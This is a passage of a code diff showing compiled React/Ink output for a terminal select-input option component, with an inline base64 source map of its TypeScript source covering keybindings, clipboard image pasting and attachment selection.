+  } else {
+    t36 = $[92];
+  }
+  let t37;
+  if ($[93] !== layout) {
+    t37 = layout === "expanded" && <Text> </Text>;
+    $[93] = layout;
+    $[94] = t37;
+  } else {
+    t37 = $[94];
+  }
+  let t38;
+  if ($[95] !== t34 || $[96] !== t35 || $[97] !== t36 || $[98] !== t37) {
+    t38 = <Box flexDirection="column" flexShrink={0}>{t34}{t35}{t36}{t37}</Box>;
+    $[95] = t34;
+    $[96] = t35;
+    $[97] = t36;
+    $[98] = t37;
+    $[99] = t38;
+  } else {
+    t38 = $[99];
+  }
+  return t38;
+}
+function _temp(c) {
+  return c.type === "image";
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlJlYWN0Tm9kZSIsInVzZUVmZmVjdCIsInVzZVJlZiIsInVzZVN0YXRlIiwiQm94IiwiVGV4dCIsInVzZUlucHV0IiwidXNlS2V5YmluZGluZyIsInVzZUtleWJpbmRpbmdzIiwiUGFzdGVkQ29udGVudCIsImdldEltYWdlRnJvbUNsaXBib2FyZCIsIkltYWdlRGltZW5zaW9ucyIsIkNsaWNrYWJsZUltYWdlUmVmIiwiQ29uZmlndXJhYmxlU2hvcnRjdXRIaW50IiwiQnlsaW5lIiwiVGV4dElucHV0IiwiT3B0aW9uV2l0aERlc2NyaXB0aW9uIiwiU2VsZWN0T3B0aW9uIiwiUHJvcHMiLCJvcHRpb24iLCJFeHRyYWN0IiwiVCIsInR5cGUiLCJpc0ZvY3VzZWQiLCJpc1NlbGVjdGVkIiwic2hvdWxkU2hvd0Rvd25BcnJvdyIsInNob3VsZFNob3dVcEFycm93IiwibWF4SW5kZXhXaWR0aCIsImluZGV4IiwiaW5wdXRWYWx1ZSIsIm9uSW5wdXRDaGFuZ2UiLCJ2YWx1ZSIsIm9uU3VibWl0Iiwib25FeGl0IiwibGF5b3V0IiwiY2hpbGRyZW4iLCJzaG93TGFiZWwiLCJvbk9wZW5FZGl0b3IiLCJjdXJyZW50VmFsdWUiLCJzZXRWYWx1ZSIsInJlc2V0Q3Vyc29yT25VcGRhdGUiLCJvbkltYWdlUGFzdGUiLCJiYXNlNjRJbWFnZSIsIm1lZGlhVHlwZSIsImZpbGVuYW1lIiwiZGltZW5zaW9ucyIsInNvdXJjZVBhdGgiLCJwYXN0ZWRDb250ZW50cyIsIlJlY29yZCIsIm9uUmVtb3ZlSW1hZ2UiLCJpZCIsImltYWdlc1NlbGVjdGVkIiwic2VsZWN0ZWRJbWFnZUluZGV4Iiwib25JbWFnZXNTZWxlY3RlZENoYW5nZSIsInNlbGVjdGVkIiwib25TZWxlY3RlZEltYWdlSW5kZXhDaGFuZ2UiLCJTZWxlY3RJbnB1dE9wdGlvbiIsInQwIiwiJCIsIl9jIiwidDEiLCJ0MiIsInQzIiwic2hvd0xhYmVsUHJvcCIsInVuZGVmaW5lZCIsInQ0IiwiT2JqZWN0IiwidmFsdWVzIiwiZmlsdGVyIiwiX3RlbXAiLCJpbWFnZUF0dGFjaG1lbnRzIiwic2hvd0xhYmVsV2l0aFZhbHVlIiwiY3Vyc29yT2Zmc2V0Iiwic2V0Q3Vyc29yT2Zmc2V0IiwibGVuZ3RoIiwiaXNVc2VyRWRpdGluZyIsInQ1IiwiY3VycmVudCIsInQ2IiwidDciLCJ0OCIsInQ5IiwiY29udGV4dCIsImlzQWN0aXZlIiwidDEwIiwidGhlbiIsImltYWdlRGF0YSIsImJhc2U2NCIsInQxMSIsInQxMiIsInQxMyIsImF0IiwidDE0IiwidDE1IiwidDE2IiwidDE3IiwidDE4IiwiaW1nIiwiTWF0aCIsIm1pbiIsInQxOSIsInQyMCIsInQyMSIsInQyMiIsInQyMyIsIl9pbnB1dCIsImtleSIsInVwQXJyb3ciLCJ0MjQiLCJ0MjUiLCJ0MjYiLCJ0MjciLCJkZXNjcmlwdGlvblBhZGRpbmdMZWZ0IiwidDI4IiwidDI5IiwidDMwIiwicGFkRW5kIiwidDMxIiwidDMyIiwibGFiZWwiLCJsYWJlbFZhbHVlU2VwYXJhdG9yIiwib25DaGFuZ2UiLCJwbGFjZWhvbGRlciIsInBhc3RlZFRleHQiLCJiZWZvcmUiLCJzbGljZSIsImFmdGVyIiwibmV3VmFsdWUiLCJ2YWx1ZV8wIiwicGFzdGVkVGV4dF8wIiwiYmVmb3JlXzAiLCJhZnRlcl8wIiwibmV3VmFsdWVfMCIsInQzMyIsInQzNCIsInQzNSIsImRlc2NyaXB0aW9uIiwiZGltRGVzY3JpcHRpb24iLCJ0MzYiLCJtYXAiLCJpbWdfMCIsImlkeCIsInQzNyIsInQzOCIsImMiXSwic291cmNlcyI6WyJzZWxlY3QtaW5wdXQtb3B0aW9uLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QsIHsgdHlwZSBSZWFjdE5vZGUsIHVzZUVmZmVjdCwgdXNlUmVmLCB1c2VTdGF0ZSB9IGZyb20gJ3JlYWN0J1xuLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGN1c3RvbS1ydWxlcy9wcmVmZXItdXNlLWtleWJpbmRpbmdzIC0tIFVQIGFycm93IGV4aXQgbm90IGluIEF0dGFjaG1lbnRzIGJpbmRpbmdzXG5pbXBvcnQgeyBCb3gsIFRleHQsIHVzZUlucHV0IH0gZnJvbSAnLi4vLi4vaW5rLmpzJ1xuaW1wb3J0IHtcbiAgdXNlS2V5YmluZGluZyxcbiAgdXNlS2V5YmluZGluZ3MsXG59IGZyb20gJy4uLy4uL2tleWJpbmRpbmdzL3VzZUtleWJpbmRpbmcuanMnXG5pbXBvcnQgdHlwZSB7IFBhc3RlZENvbnRlbnQgfSBmcm9tICcuLi8uLi91dGlscy9jb25maWcuanMnXG5pbXBvcnQgeyBnZXRJbWFnZUZyb21DbGlwYm9hcmQgfSBmcm9tICcuLi8uLi91dGlscy9pbWFnZVBhc3RlLmpzJ1xuaW1wb3J0IHR5cGUgeyBJbWFnZURpbWVuc2lvbnMgfSBmcm9tICcuLi8uLi91dGlscy9pbWFnZVJlc2l6ZXIuanMnXG5pbXBvcnQgeyBDbGlja2FibGVJbWFnZVJlZiB9IGZyb20gJy4uL0NsaWNrYWJsZUltYWdlUmVmLmpzJ1xuaW1wb3J0IHsgQ29uZmlndXJhYmxlU2hvcnRjdXRIaW50IH0gZnJvbSAnLi4vQ29uZmlndXJhYmxlU2hvcnRjdXRIaW50LmpzJ1xuaW1wb3J0IHsgQnlsaW5lIH0gZnJvbSAnLi4vZGVzaWduLXN5c3RlbS9CeWxpbmUuanMnXG5pbXBvcnQgVGV4dElucHV0IGZyb20gJy4uL1RleHRJbnB1dC5qcydcbmltcG9ydCB0eXBlIHsgT3B0aW9uV2l0aERlc2NyaXB0aW9uIH0gZnJvbSAnLi9zZWxlY3QuanMnXG5pbXBvcnQgeyBTZWxlY3RPcHRpb24gfSBmcm9tICcuL3NlbGVjdC1vcHRpb24uanMnXG5cbnR5cGUgUHJvcHM8VD4gPSB7XG4gIG9wdGlvbjogRXh0cmFjdDxPcHRpb25XaXRoRGVzY3JpcHRpb248VD4sIHsgdHlwZTogJ2lucHV0JyB9PlxuICBpc0ZvY3VzZWQ6IGJvb2xlYW5cbiAgaXNTZWxlY3RlZDogYm9vbGVhblxuICBzaG91bGRTaG93RG93bkFycm93OiBib29sZWFuXG4gIHNob3VsZFNob3dVcEFycm93OiBib29sZWFuXG4gIG1heEluZGV4V2lkdGg6IG51bWJlclxuICBpbmRleDogbnVtYmVyXG4gIGlucHV0VmFsdWU6IHN0cmluZ1xuICBvbklucHV0Q2hhbmdlOiAodmFsdWU6IHN0cmluZykgPT4gdm9pZFxuICBvblN1Ym1pdDogKHZhbHVlOiBzdHJpbmcpID0+IHZvaWRcbiAgb25FeGl0PzogKCkgPT4gdm9pZFxuICBsYXlvdXQ6ICdjb21wYWN0JyB8ICdleHBhbmRlZCdcbiAgY2hpbGRyZW4/OiBSZWFjdE5vZGVcbiAgLyoqXG4gICAqIFdoZW4gdHJ1ZSwgc2hvd3MgdGhlIGxhYmVsIGJlZm9yZSB0aGUgaW5wdXQgZmllbGQuXG4gICAqIFdoZW4gZmFsc2UgKGRlZmF1bHQpLCB1c2VzIHRoZSBsYWJlbCBhcyB0aGUgcGxhY2Vob2xkZXIuXG4gICAqL1xuICBzaG93TGFiZWw/OiBib29sZWFuXG4gIC8qKlxuICAgKiBDYWxsYmFjayB0byBvcGVuIGV4dGVybmFsIGVkaXRvciBmb3IgZWRpdGluZyB0aGUgaW5wdXQgdmFsdWUuXG4gICAqIFdoZW4gcHJvdmlkZWQsIGN0cmwrZyB3aWxsIHRyaWdnZXIgdGhpcyBjYWxsYmFjayB3aXRoIHRoZSBjdXJyZW50IHZhbHVlXG4gICAqIGFuZCBhIHNldHRlciBmdW5jdGlvbiB0byB1cGRhdGUgdGhlIGludGVybmFsIHN0YXRlLlxuICAgKi9cbiAgb25PcGVuRWRpdG9yPzogKFxuICAgIGN1cnJlbnRWYWx1ZTogc3RyaW5nLFxuICAgIHNldFZhbHVlOiAodmFsdWU6IHN0cmluZykgPT4gdm9pZCxcbiAgKSA9PiB2b2lkXG4gIC8qKlxuICAgKiBXaGVuIHRydWUsIGF1dG9tYXRpY2FsbHkgcmVzZXQgY3Vyc29yIHRvIGVuZCBvZiBsaW5lIHdoZW46XG4gICAqIC0gT3B0aW9uIGJlY29tZXMgZm9jdXNlZFxuICAgKiAtIElucHV0IHZhbHVlIGNoYW5nZXNcbiAgICogVGhpcyBwcmV2ZW50cyBjdXJzb3IgcG9zaXRpb24gYnVncyB3aGVuIHRoZSBpbnB1dCB2YWx1ZSB1cGRhdGVzIGFzeW5jaHJvbm91c2x5LlxuICAgKi9cbiAgcmVzZXRDdXJzb3JPblVwZGF0ZT86IGJvb2xlYW5cbiAgLyoqXG4gICAqIE9wdGlvbmFsIGNhbGxiYWNrIHdoZW4gYW4gaW1hZ2UgaXMgcGFzdGVkIGludG8gdGhlIGlucHV0LlxuICAgKi9cbiAgb25JbWFnZVBhc3RlPzogKFxuICAgIGJhc2U2NEltYWdlOiBzdHJpbmcsXG4gICAgbWVkaWFUeXBlPzogc3RyaW5nLFxuICAgIGZpbGVuYW1lPzogc3RyaW5nLFxuICAgIGRpbWVuc2lvbnM/OiBJbWFnZURpbWVuc2lvbnMsXG4gICAgc291cmNlUGF0aD86IHN0cmluZyxcbiAgKSA9PiB2b2lkXG4gIC8qKlxuICAgKiBQYXN0ZWQgY29udGVudCB0byBkaXNwbGF5IGlubGluZSBhYm92ZSB0aGUgaW5wdXQgd2hlbiBmb2N1c2VkLlxuICAgKi9cbiAgcGFzdGVkQ29udGVudHM/OiBSZWNvcmQ8bnVtYmVyLCBQYXN0ZWRDb250ZW50PlxuICAvKipcbiAgICogQ2FsbGJhY2sgdG8gcmVtb3ZlIGEgcGFzdGVkIGltYWdlIGJ5IGl0cyBJRC5cbiAgICovXG4gIG9uUmVtb3ZlSW1hZ2U/OiAoaWQ6IG51bWJlcikgPT4gdm9pZFxuICAvKipcbiAgICogV2hldGhlciBpbWFnZSBzZWxlY3Rpb24gbW9kZSBpcyBhY3RpdmUuXG4gICAqL1xuICBpbWFnZXNTZWxlY3RlZD86IGJvb2xlYW5cbiAgLyoqXG4gICAqIEN1cnJlbnRseSBzZWxlY3RlZCBpbWFnZSBpbmRleCB3aXRoaW4gdGhlIGltYWdlIGF0dGFjaG1lbnRzIGFycmF5LlxuICAgKi9cbiAgc2VsZWN0ZWRJbWFnZUluZGV4PzogbnVtYmVyXG4gIC8qKlxuICAgKiBDYWxsYmFjayB0byBzZXQgaW1hZ2Ugc2VsZWN0aW9uIG1vZGUgb24vb2ZmLlxuICAgKi9cbiAgb25JbWFnZXNTZWxlY3RlZENoYW5nZT86IChzZWxlY3RlZDogYm9vbGVhbikgPT4gdm9pZFxuICAvKipcbiAgICogQ2FsbGJhY2sgdG8gY2hhbmdlIHRoZSBzZWxlY3RlZCBpbWFnZSBpbmRleC5cbiAgICovXG4gIG9uU2VsZWN0ZWRJbWFnZUluZGV4Q2hhbmdlPzogKGluZGV4OiBudW1iZXIpID0+IHZvaWRcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIFNlbGVjdElucHV0T3B0aW9uPFQ+KHtcbiAgb3B0aW9uLFxuICBpc0ZvY3VzZWQsXG4gIGlzU2VsZWN0ZWQsXG4gIHNob3VsZFNob3dEb3duQXJyb3csXG4gIHNob3VsZFNob3dVcEFycm93LFxuICBtYXhJbmRleFdpZHRoLFxuICBpbmRleCxcbiAgaW5wdXRWYWx1ZSxcbiAgb25JbnB1dENoYW5nZSxcbiAgb25TdWJtaXQsXG4gIG9uRXhpdCxcbiAgbGF5b3V0LFxuICBjaGlsZHJlbixcbiAgc2hvd0xhYmVsOiBzaG93TGFiZWxQcm9wID0gZmFsc2UsXG4gIG9uT3BlbkVkaXRvcixcbiAgcmVzZXRDdXJzb3JPblVwZGF0ZSA9IGZhbHNlLFxuICBvbkltYWdlUGFzdGUsXG4gIHBhc3RlZENvbnRlbnRzLFxuICBvblJlbW92ZUltYWdlLFxuICBpbWFnZXNTZWxlY3RlZCxcbiAgc2VsZWN0ZWRJbWFnZUluZGV4ID0gMCxcbiAgb25JbWFnZXNTZWxlY3RlZENoYW5nZSxcbiAgb25TZWxlY3RlZEltYWdlSW5kZXhDaGFuZ2UsXG59OiBQcm9wczxUPik6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IGltYWdlQXR0YWNobWVudHMgPSBwYXN0ZWRDb250ZW50c1xuICAgID8gT2JqZWN0LnZhbHVlcyhwYXN0ZWRDb250ZW50cykuZmlsdGVyKGMgPT4gYy50eXBlID09PSAnaW1hZ2UnKVxuICAgIDogW11cblxuICAvLyBBbGxvdyBpbmRpdmlkdWFsIG9wdGlvbnMgdG8gZm9yY2Ugc2hvd2luZyB0aGUgbGFiZWwgdmlhIHNob3dMYWJlbFdpdGhWYWx1ZVxuICBjb25zdCBzaG93TGFiZWwgPSBzaG93TGFiZWxQcm9wIHx8IG9wdGlvbi5zaG93TGFiZWxXaXRoVmFsdWUgPT09IHRydWVcbiAgY29uc3QgW2N1cnNvck9mZnNldCwgc2V0Q3Vyc29yT2Zmc2V0XSA9IHVzZVN0YXRlKGlucHV0VmFsdWUubGVuZ3RoKVxuXG4gIC8vIFRyYWNrIHdoZXRoZXIgdGhlIGxhdGVzdCBpbnB1dFZhbHVlIGNoYW5nZSB3YXMgZnJvbSB1c2VyIHR5cGluZy9wYXN0aW5nLFxuICAvLyBzbyB3ZSBjYW4gc2tpcCByZXNldHRpbmcgY3Vyc29yIHRvIGVuZCBvbiB1c2VyLWluaXRpYXRlZCBjaGFuZ2VzLlxuICBjb25zdCBpc1VzZXJFZGl0aW5nID0gdXNlUmVmKGZhbHNlKVxuXG4gIC8vIFJlc2V0IGN1cnNvciB0byBlbmQgb2YgbGluZSB3aGVuOlxuICAvLyAxLiBPcHRpb24gYmVjb21lcyBmb2N1c2VkICh1c2VyIG5hdmlnYXRlcyB0byBpdClcbiAgLy8gMi4gSW5wdXQgdmFsdWUgY2hhbmdlcyBleHRlcm5hbGx5IChlLmcuLCBhc3luYyBjbGFzc2lmaWVyIGRlc2NyaXB0aW9uIHVwZGF0ZXMpXG4gIC8vIFNraXAgcmVzZXQgd2hlbiB0aGUgY2hhbmdlIHdhcyBmcm9tIHVzZXIgdHlwaW5nICh3aGljaCBzZXRzIGlzVXNlckVkaXRpbmcgcmVmKVxuICAvLyBPbmx5IGVuYWJsZWQgd2hlbiByZXNldEN1cnNvck9uVXBkYXRlIHByb3AgaXMgdHJ1ZVxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIGlmIChyZXNldEN1cnNvck9uVXBkYXRlICYmIGlzRm9jdXNlZCkge1xuICAgICAgaWYgKGlzVXNlckVkaXRpbmcuY3VycmVudCkge1xuICAgICAgICBpc1VzZXJFZGl0aW5nLmN1cnJlbnQgPSBmYWxzZVxuICAgICAgfSBlbHNlIHtcbiAgICAgICAgc2V0Q3Vyc29yT2Zmc2V0KGlucHV0VmFsdWUubGVuZ3RoKVxuICAgICAgfVxuICAgIH1cbiAgfSwgW3Jlc2V0Q3Vyc29yT25VcGRhdGUsIGlzRm9jdXNlZCwgaW5wdXRWYWx1ZV0pXG5cbiAgLy8gY3RybCtnIHRvIG9wZW4gZXh0ZXJuYWwgZWRpdG9yIChyZXVzZXMgY2hhdDpleHRlcm5hbEVkaXRvciBrZXliaW5kaW5nKVxuICB1c2VLZXliaW5kaW5nKFxuICAgICdjaGF0OmV4dGVybmFsRWRpdG9yJyxcbiAgICAoKSA9PiB7XG4gICAgICBvbk9wZW5FZGl0b3I/LihpbnB1dFZhbHVlLCBvbklucHV0Q2hhbmdlKVxuICAgIH0sXG4gICAgeyBjb250ZXh0OiAnQ2hhdCcsIGlzQWN0aXZlOiBpc0ZvY3VzZWQgJiYgISFvbk9wZW5FZGl0b3IgfSxcbiAgKVxuXG4gIC8vIGN0cmwrdiB0byBwYXN0ZSBpbWFnZSBmcm9tIGNsaXBib2FyZCAoc2FtZSBhcyBQcm9tcHRJbnB1dClcbiAgdXNlS2V5YmluZGluZyhcbiAgICAnY2hhdDppbWFnZVBhc3RlJyxcbiAgICAoKSA9PiB7XG4gICAgICBpZiAoIW9uSW1hZ2VQYXN0ZSkgcmV0dXJuXG4gICAgICB2b2lkIGdldEltYWdlRnJvbUNsaXBib2FyZCgpLnRoZW4oaW1hZ2VEYXRhID0+IHtcbiAgICAgICAgaWYgKGltYWdlRGF0YSkge1xuICAgICAgICAgIG9uSW1hZ2VQYXN0ZShcbiAgICAgICAgICAgIGltYWdlRGF0YS5iYXNlNjQsXG4gICAgICAgICAgICBpbWFnZURhdGEubWVkaWFUeXBlLFxuICAgICAgICAgICAgdW5kZWZpbmVkLFxuICAgICAgICAgICAgaW1hZ2VEYXRhLmRpbWVuc2lvbnMsXG4gICAgICAgICAgKVxuICAgICAgICB9XG4gICAgICB9KVxuICAgIH0sXG4gICAgeyBjb250ZXh0OiAnQ2hhdCcsIGlzQWN0aXZlOiBpc0ZvY3VzZWQgJiYgISFvbkltYWdlUGFzdGUgfSxcbiAgKVxuXG4gIC8vIEJhY2tzcGFjZSB3aXRoIGVtcHR5IGlucHV0IHJlbW92ZXMgdGhlIGxhc3QgcGFzdGVkIGltYWdlIChub24taW1hZ2Utc2VsZWN0aW9uIG1vZGUpXG4gIHVzZUtleWJpbmRpbmcoXG4gICAgJ2F0dGFjaG1lbnRzOnJlbW92ZScsXG4gICAgKCkgPT4ge1xuICAgICAgaWYgKGltYWdlQXR0YWNobWVudHMubGVuZ3RoID4gMCAmJiBvblJlbW92ZUltYWdlKSB7XG4gICAgICAgIG9uUmVtb3ZlSW1hZ2UoaW1hZ2VBdHRhY2htZW50cy5hdCgtMSkhLmlkKVxuICAgICAgfVxuICAgIH0sXG4gICAge1xuICAgICAgY29udGV4dDogJ0F0dGFjaG1lbnRzJyxcbiAgICAgIGlzQWN0aXZlOlxuICAgICAgICBpc0ZvY3VzZWQgJiZcbiAgICAgICAgIWltYWdlc1NlbGVjdGVkICYmXG4gICAgICAgIGlucHV0VmFsdWUgPT09ICcnICYmXG4gICAgICAgIGltYWdlQXR0YWNobWVudHMubGVuZ3RoID4gMCAmJlxuICAgICAgICAhIW9uUmVtb3ZlSW1hZ2UsXG4gICAgfSxcbiAgKVxuXG4gIC8vIEltYWdlIHNlbGVjdGlvbiBtb2RlIGtleWJpbmRpbmdzIOKAlCByZXVzZXMgZXhpc3RpbmcgQXR0YWNobWVudHMgYWN0aW9uc1xuICB1c2VLZXliaW5kaW5ncyhcbiAgICB7XG4gICAgICAnYXR0YWNobWVudHM6bmV4dCc6ICgpID0+IHtcbiAgICAgICAgaWYgKGltYWdlQXR0YWNobWVudHMubGVuZ3RoID4gMSkge1xuICAgICAgICAgIG9uU2VsZWN0ZWRJbWFnZUluZGV4Q2hhbmdlPy4oXG4gICAgICAgICAgICAoc2VsZWN0ZWRJbWFnZUluZGV4ICsgMSkgJSBpbWFnZUF0dGFjaG1lbnRzLmxlbmd0aCxcbiAgICAgICAgICApXG4gICAgICAgIH1cbiAgICAgIH0sXG4gICAgICAnYXR0YWNobWVudHM6cHJldmlvdXMnOiAoKSA9PiB7XG4gICAgICAgIGlmIChpbWFnZUF0dGFjaG1lbnRzLmxlbmd0aCA+IDEpIHtcbiAgICAgICAgICBvblNlbGVjdGVkSW1hZ2VJbmRleENoYW5nZT8uKFxuICAgICAgICAgICAgKHNlbGVjdGVkSW1hZ2VJbmRleCAtIDEgKyBpbWFnZUF0dGFjaG1lbnRzLmxlbmd0aCkgJVxuICAgICAgICAgICAgICBpbWFnZUF0dGFjaG1lbnRzLmxlbmd0aCxcbiAgICAgICAgICApXG4gICAgICAgIH1cbiAgICAgIH0sXG4gICAgICAnYXR0YWNobWVudHM6cmVtb3ZlJzogKCkgPT4ge1xuICAgICAgICBjb25zdCBpbWcgPSBpbWFnZUF0dGFjaG1lbnRzW3NlbGVjdGVkSW1hZ2VJbmRleF1cbiAgICAgICAgaWYgKGltZyAmJiBvblJlbW92ZUltYWdlKSB7XG4gICAgICAgICAgb25SZW1vdmVJbWFnZShpbWcuaWQpXG4gICAgICAgICAgLy8gSWYgbm8gaW1hZ2VzIGxlZnQgYWZ0ZXIgcmVtb3ZhbCwgZXhpdCBpbWFnZSBzZWxlY3Rpb25cbiAgICAgICAgICBpZiAoaW1hZ2VBdHRhY2htZW50cy5sZW5ndGggPD0gMSkge1xuICAgICAgICAgICAgb25JbWFnZXNTZWxlY3RlZENoYW5nZT8uKGZhbHNlKVxuICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAvLyBBZGp1c3QgaW5kZXggaWYgd2UgZGVsZXRlZCB0aGUgbGFzdCBpbWFnZVxuICAgICAgICAgICAgb25TZWxlY3RlZEltYWdlSW5kZXhDaGFuZ2U/LihcbiAgICAgICAgICAgICAgTWF0aC5taW4oc2VsZWN0ZWRJbWFnZUluZGV4LCBpbWFnZUF0dGFjaG1lbnRzLmxlbmd0aCAtIDIpLFxuICAgICAgICAgICAgKVxuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfSxcbiAgICAgICdhdHRhY2htZW50czpleGl0JzogKCkgPT4ge1xuICAgICAgICBvbkltYWdlc1NlbGVjdGVkQ2hhbmdlPy4oZmFsc2UpXG4gICAgICB9LFxuICAgIH0sXG4gICAgeyBjb250ZXh0OiAnQXR0YWNobWVudHMnLCBpc0FjdGl2ZTogaXNGb2N1c2VkICYmICEhaW1hZ2VzU2VsZWN0ZWQgfSxcbiAgKVxuXG4gIC8vIFVQIGFycm93IGV4aXRzIGltYWdlIHNlbGVjdGlvbiBtb2RlIChVUCBpc24ndCBib3VuZCB0byBhdHRhY2htZW50czpleGl0KVxuICB1c2VJbnB1dChcbiAgICAoX2lucHV0LCBrZXkpID0+IHtcbiAgICAgIGlmIChrZXkudXBBcnJvdykge1xuICAgICAgICBvbkltYWdlc1NlbGVjdGVkQ2hhbmdlPy4oZmFsc2UpXG4gICAgICB9XG4gICAgfSxcbiAgICB7IGlzQWN0aXZlOiBpc0ZvY3VzZWQgJiYgISFpbWFnZXNTZWxlY3RlZCB9LFxuICApXG5cbiAgLy8gRXhpdCBpbWFnZSBtb2RlIHdoZW4gb3B0aW9uIGxvc2VzIGZvY3VzXG4gIHVzZUVmZmVjdCgoKSA9PiB7XG4gICAgaWYgKCFpc0ZvY3VzZWQgJiYgaW1hZ2VzU2VsZWN0ZWQpIHtcbiAgICAgIG9uSW1hZ2VzU2VsZWN0ZWRDaGFuZ2U/LihmYWxzZSlcbiAgICB9XG4gIH0sIFtpc0ZvY3VzZWQsIGltYWdlc1NlbGVjdGVkLCBvbkltYWdlc1NlbGVjdGVkQ2hhbmdlXSlcblxuICBjb25zdCBkZXNjcmlwdGlvblBhZGRpbmdMZWZ0ID1cbiAgICBsYXlvdXQgPT09ICdleHBhbmRlZCcgPyBtYXhJbmRleFdpZHRoICsgMyA6IG1heEluZGV4V2lkdGggKyA0XG5cbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBmbGV4U2hyaW5rPXswfT5cbiAgICAgIDxTZWxlY3RPcHRpb25cbiAgICAgICAgaXNGb2N1c2VkPXtpc0ZvY3VzZWR9XG4gICAgICAgIGlzU2VsZWN0ZWQ9e2lzU2VsZWN0ZWR9XG4gICAgICAgIHNob3VsZFNob3dEb3duQXJyb3c9e3Nob3VsZFNob3dEb3duQXJyb3d9XG4gICAgICAgIHNob3VsZFNob3dVcEFycm93PXtzaG91bGRTaG93VXBBcnJvd31cbiAgICAgICAgZGVjbGFyZUN1cnNvcj17ZmFsc2V9XG4gICAgICA+XG4gICAgICAgIDxCb3hcbiAgICAgICAgICBmbGV4RGlyZWN0aW9uPVwicm93XCJcbiAgICAgICAgICBmbGV4U2hyaW5rPXtsYXlvdXQgPT09ICdjb21wYWN0JyA/IDAgOiB1bmRlZmluZWR9XG4gICAgICAgID5cbiAgICAgICAgICA8VGV4dCBkaW1Db2xvcj57YCR7aW5kZXh9LmAucGFkRW5kKG1heEluZGV4V2lkdGggKyAyKX08L1RleHQ+XG4gICAgICAgICAge2NoaWxkcmVufVxuICAgICAgICAgIHtzaG93TGFiZWwgPyAoXG4gICAgICAgICAgICA8PlxuICAgICAgICAgICAgICA8VGV4dCBjb2xvcj17aXNGb2N1c2VkID8gJ3N1Z2dlc3Rpb24nIDogdW5kZWZpbmVkfT5cbiAgICAgICAgICAgICAgICB7b3B0aW9uLmxhYmVsfVxuICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgIHtpc0ZvY3VzZWQgPyAoXG4gICAgICAgICAgICAgICAgPD5cbiAgICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwic3VnZ2VzdGlvblwiPlxuICAgICAgICAgICAgICAgICAgICB7b3B0aW9uLmxhYmVsVmFsdWVTZXBhcmF0b3IgPz8gJywgJ31cbiAgICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgICAgIDxUZXh0SW5wdXRcbiAgICAgICAgICAgICAgICAgICAgdmFsdWU9e2lucHV0VmFsdWV9XG4gICAgICAgICAgICAgICAgICAgIG9uQ2hhbmdlPXt2YWx1ZSA9PiB7XG4gICAgICAgICAgICAgICAgICAgICAgaXNVc2VyRWRpdGluZy5jdXJyZW50ID0gdHJ1ZVxuICAgICAgICAgICAgICAgICAgICAgIG9uSW5wdXRDaGFuZ2UodmFsdWUpXG4gICAgICAgICAgICAgICAgICAgICAgb3B0aW9uLm9uQ2hhbmdlKHZhbHVlKVxuICAgICAgICAgICAgICAgICAgICB9fVxuICAgICAgICAgICAgICAgICAgICBvblN1Ym1pdD17b25TdWJtaXR9XG4gICAgICAgICAgICAgICAgICAgIG9uRXhpdD17b25FeGl0fVxuICAgICAgICAgICAgICAgICAgICBwbGFjZWhvbGRlcj17b3B0aW9uLnBsYWNlaG9sZGVyfVxuICAgICAgICAgICAgICAgICAgICBmb2N1cz17IWltYWdlc1NlbGVjdGVkfVxuICAgICAgICAgICAgICAgICAgICBzaG93Q3Vyc29yPXt0cnVlfVxuICAgICAgICAgICAgICAgICAgICBtdWx0aWxpbmU9e3RydWV9XG4gICAgICAgICAgICAgICAgICAgIGN1cnNvck9mZnNldD17Y3Vyc29yT2Zmc2V0fVxuICAgICAgICAgICAgICAgICAgICBvbkNoYW5nZUN1cnNvck9mZnNldD17c2V0Q3Vyc29yT2Zmc2V0fVxuICAgICAgICAgICAgICAgICAgICBjb2x1bW5zPXs4MH1cbiAgICAgICAgICAgICAgICAgICAgb25JbWFnZVBhc3RlPXtvbkltYWdlUGFzdGV9XG4gICAgICAgICAgICAgICAgICAgIG9uUGFzdGU9eyhwYXN0ZWRUZXh0OiBzdHJpbmcpID0+IHtcbiAgICAgICAgICAgICAgICAgICAgICBpc1VzZXJFZGl0aW5nLmN1cnJlbnQgPSB0cnVlXG4gICAgICAgICAgICAgICAgICAgICAgY29uc3QgYmVmb3JlID0gaW5wdXRWYWx1ZS5zbGljZSgwLCBjdXJzb3JPZmZzZXQpXG4gICAgICAgICAgICAgICAgICAgICAgY29uc3QgYWZ0ZXIgPSBpbnB1dFZhbHVlLnNsaWNlKGN1cnNvck9mZnNldClcbiAgICAgICAgICAgICAgICAgICAgICBjb25zdCBuZXdWYWx1ZSA9IGJlZm9yZSArIHBhc3RlZFRleHQgKyBhZnRlclxuICAgICAgICAgICAgICAgICAgICAgIG9uSW5wdXRDaGFuZ2UobmV3VmFsdWUpXG4gICAgICAgICAgICAgICAgICAgICAgb3B0aW9uLm9uQ2hhbmdlKG5ld1ZhbHVlKVxuICAgICAgICAgICAgICAgICAgICAgIHNldEN1cnNvck9mZnNldChiZWZvcmUubGVuZ3RoICsgcGFzdGVkVGV4dC5sZW5ndGgpXG4gICAgICAgICAgICAgICAgICAgIH19XG4gICAgICAgICAgICAgICAgICAvPlxuICAgICAgICAgICAgICAgIDwvPlxuICAgICAgICAgICAgICApIDogKFxuICAgICAgICAgICAgICAgIGlucHV0VmFsdWUgJiYgKFxuICAgICAgICAgICAgICAgICAgPFRleHQ+XG4gICAgICAgICAgICAgICAgICAgIHtvcHRpb24ubGFiZWxWYWx1ZVNlcGFyYXRvciA/PyAnLCAnfVxuICAgICAgICAgICAgICAgICAgICB7aW5wdXRWYWx1ZX1cbiAgICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgICApXG4gICAgICAgICAgICAgICl9XG4gICAgICAgICAgICA8Lz5cbiAg